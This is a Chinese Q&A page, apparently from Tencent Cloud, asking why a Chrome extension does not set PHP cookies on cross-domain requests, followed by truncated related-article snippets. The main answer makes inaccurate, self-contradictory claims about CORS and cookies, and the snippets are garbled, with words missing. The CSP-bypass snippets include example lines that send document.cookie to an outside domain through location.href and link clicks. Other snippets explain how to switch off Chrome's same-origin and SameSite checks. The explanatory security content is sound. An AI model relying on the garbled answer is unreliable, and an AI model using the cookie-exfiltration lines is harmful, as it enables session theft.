首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

为什么chrome扩展没有在跨域请求中设置PHP Cookie?

Chrome扩展没有在跨域请求中设置PHP Cookie的原因是因为跨域请求涉及到浏览器的同源策略(Same-Origin Policy)。同源策略是一种安全机制,限制了不同源(协议、域名、端口)之间的交互,以防止恶意网站获取用户的敏感信息。

在跨域请求中,浏览器会发送一个预检请求(OPTIONS请求)来检查服务器是否允许跨域访问。预检请求中不会携带Cookie信息,因此无法在预检请求中设置PHP Cookie。

如果服务器允许跨域访问,浏览器会发送实际的跨域请求,但在这种情况下,浏览器同样不会携带Cookie信息。这是因为Cookie是与域名相关联的,跨域请求的目标域名与当前域名不同,浏览器不会自动发送Cookie信息,以保护用户的隐私和安全。

如果需要在跨域请求中使用Cookie,可以考虑使用其他方式,如使用Token进行身份验证或使用其他跨域解决方案,如CORS(跨域资源共享)。

腾讯云相关产品和产品介绍链接地址:

  • 腾讯云CORS文档:https://cloud.tencent.com/document/product/436/13318
页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

ASP.NET 5应用程序请求功能详解什么是“同”添加CORS包在应用程序配置CORSCORS策略选项请求的凭据设置先行请求的过期时间CORS是怎么样工作的先行请求

浏览器安全阻止了一个网页向另外一个提交请求,这个限制叫做同策咯(same-origin policy),这组织了一个恶意网站从另外一个网站读取敏感数据,但是一些特殊情况下,你需要允许另外一个站点请求你的网站...凭据需要在CORS做特殊的处理,默认情况下,浏览器请求不发送任何凭据。...为了请求中发送凭据,客户端需要用设置XMLHttpRequest的withCredentials属性为true: var xhr = new XMLHttpRequest(); xhr.open(...这对理解CORS如何工作非常重要,进而让你可以正确的配置自己的CORS策略,分析你的应用程序为什么不像预期的那样工作。 CORS规定提出了几个新的HTTP头来打开请求。...假如你的浏览器支持CORS,它将会自动的为设置设置请求头,你不需要在Javascript做任何特殊的处理。

2.5K50

Cook Cookie, 我把 SameSite 给你炖烂了

直到2020年7月14日Chrome 84稳定版开始,重新恢复SameSite cookie策略,并且会逐步部署到Chrome 80以及以上的版本。...之所以会站携带,是因为起初 cookie 的规范没有 SameSite 这个属性;直到2016年first-party-cookies[6]草案的推出,但并有多少人真正去用,而浏览器这边的实现也默认是...修改安全限制就像 关闭限制一样,只需要打开chrome://flag站点进行设置,如下图所示: ?...[13] 为什么a.github.io和b.github.io是站,因为 github.io 是有效顶级域名 再来些零碎的 1.虽然同站可以携带cookie,但跨了的同站请求不会主动携带,fetch...4.ajax 和 fetch 请求,响应302, 是不能直接改变浏览器地址进行跳转的,除非前端手动去操作;这就是为什么我们会说ajax 和 fetch 是前后端分离的开始,因为以前很多jsp 或 php

2.3K10
  • 有关Web 安全学习的片段记录(不定时更新)

    如将 " 转成%22 发出去,服务器端的php 接收到的是原始的" 还是编码后的%22 得看用$_GET["key"] 还是$_SERVER['QUERY_STRING'],还要看 php 脚本内有没有做...那为什么chrome对于< 等没有alert 弹窗呢,只是因为某些浏览器有anti_xss 模块或者filter,浏览 器解析 html 的时候 过滤掉这些危险的script 而没有执行,比如...注意如果此时弹 cookie 的话弹出的是 iframe 内 domain cookie,因为浏览器在请求第三方站点时也会把相关cookie发送出去(没有P3P 属性 的 persistent cookie...Domain 和 Path 决定浏览器访问此站点某目录下的网页时cookie 才会被发送出去(domain 可以设置为父,但不可设置为子和外域)。...Flash安全沙箱 分为本地沙箱与远程沙箱 类似于同源策略,同一内的资源会被放到一个安全组下,称为安全沙箱 Web站点通过crossdomain.xml文件配置可以提供允许的访问本上内容的权限

    1.6K00

    如何取消Chrome浏览器请求限制、域名携带Cookie限制、域名操作iframe限制?

    所有版本的Chrome浏览器下载:https://lanzoui.com/b138066 请求限制 1.什么是请求限制? 当协议、子域名、主域名、端口号任意一个不相同时,都算作不同。...=C:\cheomeData 再次启动Chrome后,Chrome将不会阻止请求携带Cookie限制 1.什么是携带Cookie?...携带cookie指定是A域名请求B域名的接口,请求的同时携带B域名的cookie; 正常访问网站时,如果允许请求B域名接口能够正常访问,但是不会携带B域名的cookie。...假设接口需要登录,就算我们已经登录了,访问B域名接口因为没有携带Cookie请求也是没有登录状态的。 2.如何解除限制?...2.2 91版本及以上的Chrome浏览器: chrome://flags/相关的设置91版本后已被Chorme移除,94版本一下可以通过如下方式解除限制(94以上的版本通过命令行禁用设置SameSite

    7K30

    Yii2 Vue 问题

    注意: 如果设置 Origin 为 ['*'],即所有的前端请求可以接受,同时把 Access-Control-Allow-Credentials 设置为 true,Yii 会直接报错:**Allowing...因为 Access-Control-Allow-Credentials 的意思就是允许请求请求头中携带凭证,比如 cookie,做身份识别,但是你又把 Access-Control-Allow-Origin...,但是新版 Chrome 根据 Cookie 的 SameSite 属性,仍然会阻止 Cookie 的发送 network show filtered out request cookies。...参考: What’s New In DevTools (Chrome 79) | medium Cookie 的 SameSite 属性 | ruanyifeng 开发环境根治问题,使用 webpack-dev-server...References 解决 Yii2 + Vue 前后台分离时的问题 | shiqidu 源资源共享(CORS) | mozilla – EOF – # php # yii2 # vue

    35030

    如何进行渗透测试XSS站攻击检测

    php echo "hello, $_GET['user']";?> ,那么访问时设置 /?...3.2.2.1.2. cookie的同源策略 cookie使用不同的源定义方式,一个页面可以为本和任何父设置cookie,只要是父不是公共后缀(public suffix)即可。...Flash/SilverLight 浏览器的各种插件也存在需求。通常是通过服务器配置crossdomain.xml,设置本服务允许哪些域名的访问。...阻止源访问 阻止写操作,可以检测请求的 CSRF token ,这个标记被称为Cross-Site Request Forgery (CSRF) 标记。...基于存储 有时候网站会将信息存储Cookie或localStorage,而因为这些数据一般是网站主动存储的,很多时候没有Cookie或localStorage取出的数据做过滤,会直接将其取出并展示页面

    2.7K30

    前端防御从入门到弃坑——CSP变迁

    /lorexxar.cn"> (DNS预加载) CSP1.0,对于link的限制并不完整,不同浏览器包括chrome和firefox对CSP的支持都不完整,每个浏览器都维护一份包括CSP1.0、部分...2 跳转 跳转 跳转 浏览器的机制上, 跳转本身就是行为 location.href=http://lorexxar.cn?...c=[cookie]"> 通过请求,我们可以把我们想要的各种信息传出 3 请求 浏览器,有很多种请求本身就是请求,其中标志就是href。...cookie='+escape(document.cookie); a.click(); 包括表单的提交,都是请求 0x04 CSP困境以及升级 CSP正式被提出作为减轻XSS攻击的手段之后,...Web2.0时代的到来让前后台交互的情况越来越多,为了应对这种情况,现代浏览器都有缓存机制,但页面没有修改或者不需要再次请求后台的时候,浏览器就会从缓存读取页面内容。

    1.1K60

    史上最全总结

    html页面通过相应的标签从不同域名下加载静态资源文件是被浏览器允许的,所以我们可以通过这个“犯罪漏洞”来进行。...他的神器之处在于name值不同页面或者不同下加载后依旧存在,没有修改就不会发生变化,并且可以存储非常长的name(2MB) 假设index页面请求远端服务器上的数据,我们该页面下创建iframe标签...它的值是一个布尔值,表示是否允许发送Cookie。默认情况下,Cookie不包括CORS请求之中。设为true,即表示服务器明确许可,Cookie可以包含在请求,一起发给服务器。...同时,Cookie依然遵循同源政策,只有用服务器域名设置Cookie才会上传,其他域名的Cookie并不会上传,且(源)原网页代码的document.cookie也无法读取服务器域名下的Cookie...node中间件实现代理,是通过启一个代理服务器,实现数据的转发,也可以通过设置cookieDomainRewrite参数修改响应头中cookie域名,实现当前cookie写入,方便接口登录认证

    1.8K40

    前端防御从入门到弃坑--CSP变迁

    /lorexxar.cn"> (DNS预加载) CSP1.0,对于link的限制并不完整,不同浏览器包括chrome和firefox对CSP的支持都不完整,每个浏览器都维护一份包括CSP1.0、部分...2 跳转 跳转 跳转 浏览器的机制上, 跳转本身就是行为 location.href=http://lorexxar.cn?...c=[cookie]"> 通过请求,我们可以把我们想要的各种信息传出 3 请求 浏览器,有很多种请求本身就是请求,其中标志就是href。...cookie='+escape(document.cookie); a.click(); 包括表单的提交,都是请求 0x04 CSP困境以及升级 CSP正式被提出作为减轻XSS攻击的手段之后,几年内不断的爆出各种各样的问题...Web2.0时代的到来让前后台交互的情况越来越多,为了应对这种情况,现代浏览器都有缓存机制,但页面没有修改或者不需要再次请求后台的时候,浏览器就会从缓存读取页面内容。

    65710

    nginx解决方案

    自有服务器 如果服务器是自己的,那么则可以修改web服务环境的配置文件操作如下: 配置nginx.conf配置文件的location / {}添加以下内容 # 设置允许的源,这里使用通配符 * 表示接受任何源的请求...,也可以根据需要设置为具体的域名 add_header Access-Control-Allow-Origin '*' always; # 允许请求携带Cookie信息 add_header Access-Control-Allow-Credentials...'true' always; # 指定允许请求的方法,包括GET、POST、OPTIONS和PUT add_header Access-Control-Allow-Methods 'GET, POST...此时,浏览器将以临时关闭同源策略的方式运行,允许请求。 注意 :这种方法仅适用于本地开发环境,不应在生产环境禁用同源策略,因为它会降低浏览器的安全性。...实际部署项目时,请务必服务器端正确配置支持。

    3.1K10

    解决新版chrome问题:cookie丢失以及samesite属性问题「建议收藏」

    最近在使用前后端分离开发的时候,遇到了一个诡异的问题,无论如何设置,同一个页面获取到的session始终不一致。...发现问题: 登录界面前后端分离,ajax提交登录时出错 验证码接口和登录接口的session不一致(问题) 在网上搜索问题,重新设置,问题依旧 错因排除: ajax允许cookie(已经设置...ie),session却是一致的 对比chrome和firefox请求头和响应头: firefox:首次发起请求后,服务端返回sessionId后,之后每次请求cookie都会带上sessionId...至于不同Chrome版本号的问题可以参考这篇文章:关于解决Chrome新版本cookie携带和samesite的问题处理 <!...然而,我们不可能要求用户像我们一样去禁用新版chrome的SameSite,目前的建议就是header设置samesite,即上述的response.setHeader("Set-Cookie",

    4.6K10

    ajax请求

    chrome无法调试 XHR对象 open('get','example.php', false) open()不会发送真正的请求,只是启动一个请求以备发送 若发送特定请求,要调用send()方法 如果不需要通过请求主体发送数据...发送请求时,需额外加一个origin头部,包含请求页面的源信息(协议、域名、端口)。如果服务器任务请求可以接收,Access-Control-Allow-Origin头部回发相同的源信息。...如果没有头部或头部源信息不匹配,浏览器会驳回请求。正常情况下,浏览器会处理请求请求和响应都不包含cookie信息。...但不能使用setRequestHeader()设置自定义头部,不能发送和接收cookie,调用getAllResponseHeaders()方法总会返回空字符串。...同源策略是对XHR的一个主要约束,为通信设置了“相同的、相同的端口、相同的协议”限制。试图访问上述限制之外的资源,都会引发安全错误,除非采用被认可的解决方案。这个解决方案叫做CORS。

    1.7K30

    PHP实现cookiesession共享的方法分析

    本文实例讲述了PHP实现cookiesession共享的方法。...本篇主要通过一些实践的案例和大家分享一下踩到坑,重点说明了cookie问题和session服务器共享问题,以php语言为使用语言进行说明。...这个代码的本意应当是想设置cookie sso的有效期为15分钟,可是执行这个代码后发现没有效果。为什么呢?...第一次请求过后,因为服务器设置cookie sso,所以第一次请求过来客户端就有了cookie sso的信息,所以第二次请求的时候就会带上sso的信息,服务端就能通过 cookie问题 这个可以说是...php.ini关于session有一个save_path的选项可以设置存放的目录,如果这个选项没有设置值,那么就存储系统默认的tmp目录下。

    3.4K30

    CORS和JSONP漏洞学习知识点

    Tips1:同源策略只存在于浏览器端,服务器访问服务器不存在问题。 不同源的客户端脚本没有明确授权的情况下,不能读写对方资源。...Jsonp的原理本质就是利用的标签有的属性 2、Jsonp测试 不同源的情况下 这里没有使用本地搭建两个不同的端口来访问html服务,而是使用douban的网址来测试 image.png...动态创建标签,设置其src,回调函数src设置 var script = document.createElement("script"); script.src = "https:...三、CORS劫持与个人理解 phpstudy开启,删掉前面的#号并在配置文件的最开头配置header然后重启服务 这一步不是必须设置,通过复现测试发现,如果php写了,这里好像可以不用设置...:指定浏览器是否存将使用请求发送cookie,仅当allow-credentials标头设置为true时,才会发送cookie Burp重放 image.png 如何判断是否存在攻击,可以在请求头中添加一个源

    51630

    UzzzzZ

    JSONP和CORS漏洞 一、同源策略 1、什么是同源策略 两个地址的协议域名端口都一样则为同源 #### 2、为什么需要使用同源策略 Tips:同源策略是浏览器行为,拦截的是客户端发出去的请求...Tips1:同源策略只存在于浏览器端,服务器访问服务器不存在问题。 不同源的客户端脚本没有明确授权的情况下,不能读写对方资源。...Jsonp的原理本质就是利用的标签有的属性 2、Jsonp测试 不同源的情况下 这里没有使用本地搭建两个不同的端口来访问html服务,而是使用douban的网址来测试 同源的情况下...三、CORS劫持与个人理解 phpstudy开启,删掉前面的#号并在配置文件的最开头配置header然后重启服务 这一步不是必须设置,通过复现测试发现,如果php写了,这里好像可以不用设置...:指定浏览器是否存将使用请求发送cookie,仅当allow-credentials标头设置为true时,才会发送cookie Burp重放 如何判断是否存在攻击,可以在请求头中添加一个源,看看是否可控

    17310

    什么是解决方法_500错误原因解决方法

    一、为什么会出现问题 出于浏览器的同源策略限制。同源策略(Sameoriginpolicy)是一种约定,它是浏览器最核心也最基本的安全功能,如果缺少了同源策略,则浏览器的正常功能可能都会受到影响。...Cookie问题 因为浏览器是通过document.domain属性来检查两个页面是否同源,因此只要通过设置相同的document.domain,两个页面就可以共享Cookie(此方案仅限主相同,子不同的应用场景...1、普通请求:只需服务器端设置Access-Control-Allow-Origin 2、带cookie请求:前后端都需要进行设置 【前端设置】根据xhr.withCredentials字段判断是否带有...domain2写入一次cookie认证,后面的接口都能从domain2获取cookie,从而实现所有的接口都能访问 */ 'Set-Cookie...因此,对于浏览器来说,这些url都是同源的,没有限制。而实际上,这些url实际上由物理服务器提供服务。这些服务器内的 javascript可以调用所有这些服务器上的url。

    1.9K20
    领券